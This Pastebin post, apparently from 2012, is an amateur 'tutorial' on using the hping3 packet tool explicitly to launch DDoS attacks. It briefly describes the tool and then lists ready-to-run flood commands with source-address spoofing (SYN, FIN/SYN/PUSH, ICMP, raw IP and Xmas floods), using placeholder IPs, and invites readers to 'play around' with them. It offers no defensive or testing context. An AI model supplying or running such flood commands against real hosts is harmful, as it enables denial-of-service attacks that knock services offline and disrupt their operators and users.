Advertisement
HackerRIZLA

Hping3 Linux Tutorial

Sep 16th, 2012
5,389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. Hello people!
  2. I decided to do a simple tutorial on how to use Hping3 on Linux!
  3. You can do a lot with this tool but today im just going to show you how to ddos.
  4.  
  5. What is hping3?
  6. hping3 is a network tool able to send custom ICMP/UDP/TCP packets and
  7. to display target replies like ping does with ICMP replies. It handles
  8. fragmentation and arbitrary packet body and size, and can be used to
  9. transfer files under supported protocols. Using hping3, you can test
  10. firewall rules, perform (spoofed) port scanning, test network
  11. performance using different protocols, do path MTU discovery, perform
  12. traceroute-like actions under different protocols, fingerprint remote
  13. operating systems, audit TCP/IP stacks, etc. hping3 is scriptable
  14. using the Tcl language.
  15. Source: compuhowto.com
  16.  
  17. This tool is not hard to use, so there should not really be any problems with it.
  18.  
  19. 1.First open you're console and type "hping3 --help" without the " to see all the commands
  20. Now you can choose 5 options. tcp, rawip, icmp, udp or scan
  21. tcp is default so lets take that one. If you choose tcp or udp you can choose what kind of attack you want.
  22. -F --fin -S --syn -R --rst -P --push -A --ack -U --urg -X --xmas
  23. -Y --ymas
  24. We can also spoof our source address without needing a proxy or such.
  25. 2. Example if we want a syn flood attack we do
  26. "hping3 -S 23.243.534 --flood --rand-source -p 80 -d 100
  27. I just inserted some random numbers for the ip.
  28. 3. You can do a lot of stuff with tool so just play around with it now im going to post some ddos commands.
  29.  
  30. Quote:
  31. hping3 -F -S -P 124.245.2.563 --flood -p 80 -d 9999999
  32. hping3 --icmp 1312.324.5 -p 80 --flood -d 1000 -q
  33. hping3 --rawip 123.123.123 --rand-source --flood -p 80 --id n4s4
  34. hping3 -X 123.123.123 --flood -p 23 --sign N4S4
  35.  
  36. Hope you enjoyed my tutorial on how to use hping3 on Linux.
  37. I think most linux OS have hping3 already installed.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement